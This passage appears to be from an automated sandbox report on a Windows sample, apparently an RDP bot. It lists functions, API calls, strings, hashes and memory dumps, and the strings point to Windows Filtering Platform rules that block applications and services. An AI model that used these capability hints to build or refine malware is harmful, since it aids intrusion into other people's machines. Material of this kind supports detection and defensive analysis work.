API String ID: 513531256-1839485796
Opcode ID: 32402bb36cf6c4058c43ba99a49dc3a81660aa1839c62e2d7fd324598b5362bd
Instruction ID: 94af9f17a1bb79f82b07933dda033e3a43f061baa535f94c4bce15234776973c
Opcode Fuzzy Hash: 32402bb36cf6c4058c43ba99a49dc3a81660aa1839c62e2d7fd324598b5362bd
Instruction Fuzzy Hash: 3C416F23A3868186F320BB12E8517AAA360FB8CFA0FC00035DA4D47795DF2CE585C7E0

Function 00007FF7757276D0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FwpmProviderDestroyEnumHandle0.FWPUCLNT ref: 00007FF775727822
wcscmp.MSVCRT ref: 00007FF77572786D

Strings

[E] (%s) -> FwpmProviderCreateEnumHandle0 failed(res=%08lx), xrefs: 00007FF7757277D7
setup_filt_prov, xrefs: 00007FF7757277D0, 00007FF7757277ED, 00007FF77572793D
[E] (%s) -> FwpmProviderEnum0 failed(res=%08lx), xrefs: 00007FF7757277F4
[E] (%s) -> FwpmProviderAdd0 failed(res=%08lx), xrefs: 00007FF775727944

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: DestroyEnumFwpmHandle0Providerwcscmp
String ID: [E] (%s) -> FwpmProviderAdd0 failed(res=%08lx)$[E] (%s) -> FwpmProviderCreateEnumHandle0 failed(res=%08lx)$[E] (%s) -> FwpmProviderEnum0 failed(res=%08lx)$setup_filt_prov
API String ID: 1522850966-2029202777
Opcode ID: fa74e2cb3a6eef84e7a0136588957558bd5e6b714ed79ae53c059174fd424a91
Instruction ID: 1ef6549a34dbcaa6c96747777b1acfc211d425775e7fd9620379512cd1626578
Opcode Fuzzy Hash: fa74e2cb3a6eef84e7a0136588957558bd5e6b714ed79ae53c059174fd424a91
Instruction Fuzzy Hash: 8E517326638BC185F7609B16F5407AAB3A6FB88B94F808135DA8D4BB59EF3DD440C7D0

Function 00007FF775729621 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 89COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7757276D0: wcscmp.MSVCRT ref: 00007FF77572786D

FwpmEngineClose0.FWPUCLNT(?,?,?,?,?,?,00000000,000001EFE9DD14D0,?,00007FF7757214B4,?,?,00000001,00007FF7757214D2), ref: 00007FF775729701

Strings

wfp_block, xrefs: 00007FF7757296B3
ip4, xrefs: 00007FF77572967A
svc, xrefs: 00007FF775729728
[E] (%s) -> FwpmEngineOpen0 failed(res=%08lx), xrefs: 00007FF7757296BA
app, xrefs: 00007FF7757296E0

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: Close0EngineFwpmwcscmp
String ID: [E] (%s) -> FwpmEngineOpen0 failed(res=%08lx)$app$ip4$svc$wfp_block
API String ID: 4239307310-774261742
Opcode ID: c8ff5025d215534188b5837bc80f516c77452d0dc218e8ab1b112ece21252ef0
Instruction ID: fa9c149f4510b5b7406283bd049a0e666fa9e2d9dc02e8f95a580b3bae06d1bd
Opcode Fuzzy Hash: c8ff5025d215534188b5837bc80f516c77452d0dc218e8ab1b112ece21252ef0
Instruction Fuzzy Hash: E2316153B3C64341FA50BB65A5902BA92B1DF4DBD0FD84031EA0E8B796EE5CD98583E0

Function 00007FF775726497 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 66COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32 ref: 00007FF7757264A0
GetLastError.KERNEL32 ref: 00007FF7757264E5

Strings

(path != NULL), xrefs: 00007FF7757264C4
fs_path_exists, xrefs: 00007FF7757264CB
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF7757264BD
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7757264D2

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: AttributesErrorFileLast
String ID: (path != NULL)$C:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$fs_path_exists
API String ID: 1799206407-4111913120
Opcode ID: dda27c62fac4cd84eb860d51178331786ae83887d0c1dce0a6688692ad44cf8e
Instruction ID: 3ac2228833613055456a2c6f11d22446d8461d9e32dc83d163d4a55d95f7844c
Opcode Fuzzy Hash: dda27c62fac4cd84eb860d51178331786ae83887d0c1dce0a6688692ad44cf8e
Instruction Fuzzy Hash: 8421B852E3C4C782FB24679A9444379A161EF08F1AFE0C537D14F89298DD1DFA8552E2

Function 00007FF775721C73 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 38libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF775721C93

Part of subcall function 00007FF7757214E2: fwrite.MSVCRT ref: 00007FF77572158E
Part of subcall function 00007FF7757214E2: fflush.MSVCRT ref: 00007FF77572159A

GetLastError.KERNEL32 ref: 00007FF775721CC6

Strings

module_get_proc, xrefs: 00007FF775721CAC, 00007FF775721CD6
[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu), xrefs: 00007FF775721CDD
[D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p), xrefs: 00007FF775721CB3

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: AddressErrorLastProcfflushfwrite
String ID: [D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p)$[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu)$module_get_proc
API String ID: 1224403792-3063791425
Opcode ID: 97cf023455eb3308a9bc5fd03e36ddc4e0876cad0f0bd96d056d2edce359639a
Instruction ID: 40d1a4c7d97e419247a8d595e0a520ad134224faeb0172a65fdf8bfa965614dc
Opcode Fuzzy Hash: 97cf023455eb3308a9bc5fd03e36ddc4e0876cad0f0bd96d056d2edce359639a
Instruction Fuzzy Hash: 99F08662A3C69381FA11B756BC005B5A261BF0CFE0F944031DD4C07794EE2DDD46C3A0

Function 00007FF775728A40 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

Process32Next.KERNEL32 ref: 00007FF775728671
GetLastError.KERNEL32 ref: 00007FF77572867D
CloseHandle.KERNEL32 ref: 00007FF775728A16

Strings

block_app, xrefs: 00007FF77572868D
[E] (%s) -> Process32Next failed(gle=%lu), xrefs: 00007FF775728694

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: CloseErrorHandleLastNextProcess32
String ID: [E] (%s) -> Process32Next failed(gle=%lu)$block_app
API String ID: 1692733154-1215713629
Opcode ID: 432cc5b08a59ed410987009eed26220de00fd652b8c5e43ab199aeb58c82218e
Instruction ID: be50c8b246e18550571358c728ecb2dbb3bfc769d8a3c1a6a7a62c979cf6ff2e
Opcode Fuzzy Hash: 432cc5b08a59ed410987009eed26220de00fd652b8c5e43ab199aeb58c82218e
Instruction Fuzzy Hash: 4DF06D53A3C74385FA247B59948017897B1FF4DF54FC09431C44EC6296DE2DE84583A0

Function 00007FF7757289D9 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

Process32Next.KERNEL32 ref: 00007FF775728671
GetLastError.KERNEL32 ref: 00007FF77572867D
CloseHandle.KERNEL32 ref: 00007FF775728A16

Strings

block_app, xrefs: 00007FF77572868D
[E] (%s) -> Process32Next failed(gle=%lu), xrefs: 00007FF775728694

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: CloseErrorHandleLastNextProcess32
String ID: [E] (%s) -> Process32Next failed(gle=%lu)$block_app
API String ID: 1692733154-1215713629
Opcode ID: 45a128eb52c9962c86f50bc87fcb50b57fee881ca886fb4f89835b828538d20a
Instruction ID: 0be656fbdef346653940ac4632bcbd5a4f7402c769bd66126beccabe65c4b257
Opcode Fuzzy Hash: 45a128eb52c9962c86f50bc87fcb50b57fee881ca886fb4f89835b828538d20a
Instruction Fuzzy Hash: 0BF06D53A3C74385FA247B59988017897B1FF4DF54FC09432C40EC6296DE2DE94183E0

Function 00007FF7757289E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

Process32Next.KERNEL32 ref: 00007FF775728671
GetLastError.KERNEL32 ref: 00007FF77572867D
CloseHandle.KERNEL32 ref: 00007FF775728A16

Strings

block_app, xrefs: 00007FF77572868D
[E] (%s) -> Process32Next failed(gle=%lu), xrefs: 00007FF775728694

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: CloseErrorHandleLastNextProcess32
String ID: [E] (%s) -> Process32Next failed(gle=%lu)$block_app
API String ID: 1692733154-1215713629
Opcode ID: fc65974d1da1c42527ce86d347ee06d7c3f6d0bf2a8b09ce55f6eac5d183ddba
Instruction ID: fc3990cedc0a96f60cad6860727010c92aac1468fe4a96a2d413827bb734502d
Opcode Fuzzy Hash: fc65974d1da1c42527ce86d347ee06d7c3f6d0bf2a8b09ce55f6eac5d183ddba
Instruction Fuzzy Hash: 37F06D53A3C74385FA247B59948017897B1FF4DF55FC09431C40EC6296EE2DE84183E0

Function 00007FF7757289E7 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

Process32Next.KERNEL32 ref: 00007FF775728671
GetLastError.KERNEL32 ref: 00007FF77572867D
CloseHandle.KERNEL32 ref: 00007FF775728A16

Strings

block_app, xrefs: 00007FF77572868D
[E] (%s) -> Process32Next failed(gle=%lu), xrefs: 00007FF775728694

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: CloseErrorHandleLastNextProcess32
String ID: [E] (%s) -> Process32Next failed(gle=%lu)$block_app
API String ID: 1692733154-1215713629
Opcode ID: 47e6bac6e89e4e6de8860f451505918c7308e9dc35c1b4391f7280eb4103ee9d
Instruction ID: f72fc109d1c524c1d0fb9ea5ba62f23f7179c0566222a03ba2c4f48e529f37b7
Opcode Fuzzy Hash: 47e6bac6e89e4e6de8860f451505918c7308e9dc35c1b4391f7280eb4103ee9d
Instruction Fuzzy Hash: C9F06D53A3C74385FA247B59948017897B1FF4DF54FC09432C40EC6296DE2DE84183E0

Function 00007FF775721CF4 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 28libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF775721D02

Part of subcall function 00007FF7757214E2: fwrite.MSVCRT ref: 00007FF77572158E
Part of subcall function 00007FF7757214E2: fflush.MSVCRT ref: 00007FF77572159A

GetLastError.KERNEL32 ref: 00007FF775721D2E

Strings

[I] (%s) -> Done(name=%s,ret=0x%p), xrefs: 00007FF775721D1D
[E] (%s) -> Failed(name=%s,gle=%lu), xrefs: 00007FF775721D41
module_load, xrefs: 00007FF775721D16, 00007FF775721D3A

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: ErrorLastLibraryLoadfflushfwrite
String ID: [E] (%s) -> Failed(name=%s,gle=%lu)$[I] (%s) -> Done(name=%s,ret=0x%p)$module_load
API String ID: 4085810780-3386190286
Opcode ID: 1a672da97f7a29b7f12fad7b7b803bf8a240a5dff4c86eb75bc1b190fa6cde4f
Instruction ID: 6f2c4172427a1f684d06c1f4bc45544c78b19421cafede955d2980b86200b005
Opcode Fuzzy Hash: 1a672da97f7a29b7f12fad7b7b803bf8a240a5dff4c86eb75bc1b190fa6cde4f
Instruction Fuzzy Hash: 20F05E22E3AA9781F961BB56BC405B0A260AF1CFA4BC85031CC4D17751ED1DA98583F0

Function 00007FF775724B0E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF775724B30

Strings

fs_file_read, xrefs: 00007FF775724B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF775724B6C

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 31318ca590b0d4edc6b4b8dd1b5f660c6e63fbab622208aafda98c0bb82bb7a9
Instruction ID: 5bd4e7f81f42379beb41e091632d4f427e95885871ca6e7c3f230e29be095e54
Opcode Fuzzy Hash: 31318ca590b0d4edc6b4b8dd1b5f660c6e63fbab622208aafda98c0bb82bb7a9
Instruction Fuzzy Hash: ABF05423F3824741F963BB0578417B991526F89B75F8945358D5C4A6C1DD3E598382A0

Function 00007FF775724B15 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF775724B30

Strings

fs_file_read, xrefs: 00007FF775724B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF775724B6C

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 31318ca590b0d4edc6b4b8dd1b5f660c6e63fbab622208aafda98c0bb82bb7a9
Instruction ID: 5bd4e7f81f42379beb41e091632d4f427e95885871ca6e7c3f230e29be095e54
Opcode Fuzzy Hash: 31318ca590b0d4edc6b4b8dd1b5f660c6e63fbab622208aafda98c0bb82bb7a9
Instruction Fuzzy Hash: ABF05423F3824741F963BB0578417B991526F89B75F8945358D5C4A6C1DD3E598382A0

Function 00007FF77572499C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF775724B30

Strings

fs_file_read, xrefs: 00007FF775724B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF775724B6C

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: feb957511d62b8eaeb474345d65e8f4908472f50acb32604004acfb176bd1b87
Instruction ID: ec2d63413657b2fa603b4fa87cb7647dab3b29bbcfd721279e475faa39bbbfc2
Opcode Fuzzy Hash: feb957511d62b8eaeb474345d65e8f4908472f50acb32604004acfb176bd1b87
Instruction Fuzzy Hash: DDF05423F3824741F962BB05B8417B991526F89B75F8945358D5C4A6C1DE3E698382A0

Function 00007FF7757249A6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF775724B30

Strings

fs_file_read, xrefs: 00007FF775724B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF775724B6C

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: e6e6db5c1704923bc2628227bb79bfbea2e4cce4d4de5763f44ce758e01c5958
Instruction ID: 67d1be7399e677caee23625330b4174cea5461be801341f27f55d0cf337e1f42
Opcode Fuzzy Hash: e6e6db5c1704923bc2628227bb79bfbea2e4cce4d4de5763f44ce758e01c5958
Instruction Fuzzy Hash: D6F05423F3824741F962BB0578417B991526F89B75F8945358D5C4A6C1DD3E598382A0

Function 00007FF77572497E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF775724B30

Strings

fs_file_read, xrefs: 00007FF775724B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF775724B6C

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 9393f06e29f470aad05a9ac21c8f27fddfefef9e15528d3f3760fb910aa56bb1
Instruction ID: 51be8a490e1e08e4a3f5164ce5822924aa47bcad63ebcc087115975e6d315b41
Opcode Fuzzy Hash: 9393f06e29f470aad05a9ac21c8f27fddfefef9e15528d3f3760fb910aa56bb1
Instruction Fuzzy Hash: 18F05423F3824741F962BB05B8417B991526F89B71F8945358D5C4A6C1DD3E598382A0

Function 00007FF775724988 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF775724B30

Strings

fs_file_read, xrefs: 00007FF775724B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF775724B6C

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: a7b978a7e4832d4bb202c2f2260062eca19eca3da90641ae14189d9ddb797fc6
Instruction ID: 48b59ad65841c59f8b884ad3730cd0292ec52fa8aee3208cf21cee5466b6fd3f
Opcode Fuzzy Hash: a7b978a7e4832d4bb202c2f2260062eca19eca3da90641ae14189d9ddb797fc6
Instruction Fuzzy Hash: 73F05423F3824741F962BB0578417B991526F89B76F8945358D5C4A6C1ED3E598382A0

Function 00007FF775724992 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF775724B30

Strings

